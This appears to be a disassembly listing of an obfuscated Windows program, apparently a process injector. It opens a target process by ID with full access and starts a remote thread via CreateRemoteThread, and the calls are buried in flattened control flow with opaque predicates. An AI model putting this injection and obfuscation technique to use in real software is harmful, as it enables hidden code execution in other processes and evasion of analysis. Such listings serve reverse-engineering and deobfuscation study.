mov eax, 0xf35f6dc0
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x975ced45
mov ecx, 0xc99c04f2
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xed7da361
mov ecx, 0xc9d03803
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x57a8a8ad
mov ecx, 0xcc4fc217
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete r8b
cmp edi, 0xa
setge bl
setl cl
xor cl, r8b
mov eax, ecx
xor al, 1
and bl, r8b
or bl, al
xor bl, cl
mov eax, 0xda303d16
mov ecx, 0x5cf80f67
cmovne eax, ecx
test dl, 1
mov ecx, 0xda303d16
cmove ecx, eax
cmp edi, 0xa
cmovge ecx, eax
test dl, 1
mov eax, ecx
mov edx, 0xda303d16
cmove eax, edx
cmp edi, 0xa
mov edx, dword [rbp + 0x18]
cmovge eax, ecx
add edx, 1
mov dword [rbp - 0x6c], edx
jmp 0x140001070
mov eax, dword [rbp + 0x14]
mov eax, dword [rbp + 0x14]
mov eax, dword [rbp + 0x14]
mov eax, dword [rbp + 0x14]
mov eax, dword [rbp + 0x14]
mov eax, dword [rbp + 0x14]
mov eax, dword [rbp + 0x14]
mov eax, 0x935ef3b2
jmp 0x140001070
mov eax, 0x9bfd5980
jmp 0x140001070
mov ecx, dword [0x140035ab0]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setl dl
mov ebx, edx
xor bl, r8b
mov r9d, ebx
not r9b
mov ecx, edx
and cl, al
or cl, r9b
or al, dl
and al, bl
or dl, r8b
xor al, 1
and al, cl
and dl, al
mov ecx, ebx
xor cl, dl
and cl, al
xor dl, 1
and dl, bl
xor cl, dl
mov ecx, 0x3efe9654
mov ebx, 0x78c181dc
cmovne ecx, ebx
test dl, dl
mov edx, ecx
cmovne edx, ebx
test al, al
cmove edx, ecx
mov eax, edx
jmp 0x140001070
mov eax, 0x2b7ecca7
jmp 0x140001070
mov rax, qword [rbp - 0x30]
mov rcx, qword [rax + 8]
sub rsp, 0x20
call fcn.140019fac
mov ecx, 0x1fffff
xor edx, edx
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
add rsp, 0x20
mov eax, 0x65865ff2
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7e009cd8
mov ecx, 0x79174811
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa52f9269
mov ecx, 0x3be00b54
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0x4eb94b37
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5c6e1d4b
mov ecx, 0xf4174842
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setge cl
setl dl
mov ebx, edx
and bl, al
xor dl, al
and cl, al
mov eax, edx
xor al, 1
or al, cl
xor al, dl
xor dl, cl
mov ecx, eax
not cl
or cl, dl
xor cl, bl
test cl, 1
mov ecx, 0xefd1ccb4
mov edx, 0xee6c02d9
cmovne ecx, edx
test al, al
mov eax, 0xee6c02d9
cmovne eax, ecx
test bl, bl
cmove eax, ecx
jmp 0x140001070
mov eax, 0xfec1db07
jmp 0x140001070
mov eax, 0x5a2527ec
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x35f012ab
mov ecx, 0x3d8c7b62
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
sub rsp, 0x20
lea rcx, str.Please_provide_a_process_ID__n
call fcn.140011390
add rsp, 0x20
mov eax, 0xbc75a330
jmp 0x140001070
mov eax, 0x60cba001
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfd501992
mov ecx, 0xefb648e
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setge cl
setl dl
mov ebx, edx
xor bl, al
and dl, al
or cl, al
xor cl, dl
mov eax, 0x66531819
mov ecx, 0x19929e7c
cmovne eax, ecx
test bl, bl
mov ecx, 0x66531819
cmovne eax, ecx
jmp 0x140001070
mov eax, 0xdaa9ce4b
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x784c707d
mov ecx, 0x952fae3a
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov rax, qword [rbp - 8]
mov eax, 0xcafe141b
jmp 0x140001070
mov eax, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete al
cmp edi, 0xa
setl r8b
xor al, r8b
mov ecx, eax
xor cl, 1
mov ebx, edx
and bl, r8b
or bl, cl
xor bl, al
mov eax, 0xe72d6629
mov ecx, 0xeeb0913a
cmovne eax, ecx
cmp edi, 0xa
mov ecx, 0xe72d6629
cmovl ecx, eax
test edx, edx
cmovne ecx, eax
mov eax, ecx
mov edx, 0xe72d6629
cmove eax, edx
cmp edi, 0xa
cmovge eax, ecx
jmp 0x140001070
mov eax, 0x9a7a9ca9
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3333844c
mov ecx, 0x4252c20b
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x3333844c
cmovl eax, ecx
jmp 0x140001070
mov eax, 0x246a5350
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcdf0605a
mov ecx, 0xe94d4a79
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xaec3e785
mov ecx, 0xeb3ebce
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
sub rsp, 0x20
lea rcx, str.___Unable_to_allocate_memory_...__n
call fcn.140011390
add rsp, 0x20
mov eax, 0x78c181dc
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
cmp dword [0x140035ab4], 0xa
setl dl
mov r8d, edx
and r8b, al
xor al, dl
mov ebx, edx
or bl, cl
and bl, al
and dl, cl
xor dl, al
or dl, bl
mov eax, r8d
xor al, dl
mov eax, 0xd0c8b7a1
mov ebx, 0xc9cb1295
cmovne eax, ebx
test dl, dl
mov ecx, eax
cmovne ecx, ebx
test r8b, r8b
cmovne ecx, eax
mov eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfa4f203e
mov ecx, 0x463959ba
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3a5ab5ba
mov ecx, 0x56eab32f
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0xd239fa1d
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x44313b5e
mov ecx, 0x3527348b
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0x517be7f3
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfb04bb8f
mov ecx, 0xb8cafaa8
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5cf80f67
mov ecx, 0xa43ffeb6
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa52f9269
mov ecx, 0x719bfca8
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x66c6f701
mov ecx, 0x70c098bd
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge dl
setl bl
mov eax, ebx
and al, r8b
and cl, bl
xor cl, al
xor bl, r8b
or dl, r8b
and dl, bl
xor dl, cl
mov eax, 0x234ac1c0
mov ecx, 0x90c2ec5b
cmovne eax, ecx
jmp 0x140001070
mov eax, 0x59248748
jmp 0x140001070
mov eax, 0x898544ed
jmp 0x140001070
mov eax, 0x325d6cdb
jmp 0x140001070
mov rax, qword [rbp - 8]
mov dword [rax], 0
sub rsp, 0x20
lea rcx, str.___Running_the_thread_..._n
call fcn.140011390
add rsp, 0x20
mov r9, qword [rbp]
mov rax, qword [rbp - 8]
mov rcx, qword [rbp + 8]
sub rsp, 0x40
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r8d, 0x64
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
add rsp, 0x20
lea rcx, str.___The_thread_finished__n
call fcn.140011390
add rsp, 0x20
mov rax, qword [rbp - 0x28]
mov eax, 0xbfef415e
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov r8d, ecx
xor r8b, al
mov ebx, ecx
or bl, al
xor bl, r8b
and cl, al
xor cl, bl
or bl, cl
xor bl, 1
or cl, bl
mov eax, r8d
not al
and al, cl
mov edx, r8d
xor dl, cl
xor dl, al
and bl, r8b
or cl, r8b
xor cl, bl
test dl, 1
mov eax, 0xf1b02df8
mov edx, 0x6cd27772
cmovne eax, edx
test cl, 1
cmove eax, edx
jmp 0x140001070
mov eax, 0xd04caac6
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe4bed5f
mov ecx, 0xf32ca0e4
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, 0x84caa702
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb6af4373
mov ecx, 0x14495faa
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0xb6af4373
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8eb896a9
mov ecx, 0x6132ade7
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x890e7384
mov ecx, 0xc636874b
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x890e7384
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge dl
setl bl
mov eax, ebx
and al, r8b
and cl, bl
xor bl, r8b
or dl, r8b
and dl, bl
xor dl, cl
mov ecx, eax
not cl
and cl, dl
mov ebx, eax
xor bl, dl
not dl
or dl, al
and dl, bl
xor dl, cl
test dl, 1
mov eax, 0x64302f1b
mov ecx, 0x652354f2
cmovne eax, ecx
jmp 0x140001070
mov eax, 0xfbd46d31
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf1fc627d
mov ecx, 0x2f7c89ae
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x306b127a
mov ecx, 0x5c6e1d4b
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x306b127a
cmovl eax, ecx
jmp 0x140001070
mov eax, 0xba21a992
jmp 0x140001070
mov eax, 0x4a76c11c
jmp 0x140001070
mov eax, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete al
cmp edi, 0xa
setl r8b
xor al, r8b
mov ecx, eax
xor cl, 1
mov ebx, edx
and bl, r8b
or bl, cl
xor bl, al
mov eax, 0xb968654e
mov ecx, 0xaf638fbe
cmovne eax, ecx
cmp edi, 0xa
mov ecx, 0xb968654e
cmovl ecx, eax
test edx, edx
cmovne ecx, eax
mov eax, ecx
mov edx, 0xb968654e
cmove eax, edx
cmp edi, 0xa
cmovge eax, ecx
jmp 0x140001070
mov eax, 0xaef1d256
jmp 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb8616988
mov ecx, 0xc4cbb90
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x3ffedfd0
jne 0x140001070
mov esi, dword [rbp - 0x78]
mov rcx, qword [rbp + 0x20]
xor rcx, rbp
sub rsp, 0x20
call fcn.140014d30
add rsp, 0x20
mov eax, esi
lea rsp, [rbp + 0x28]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret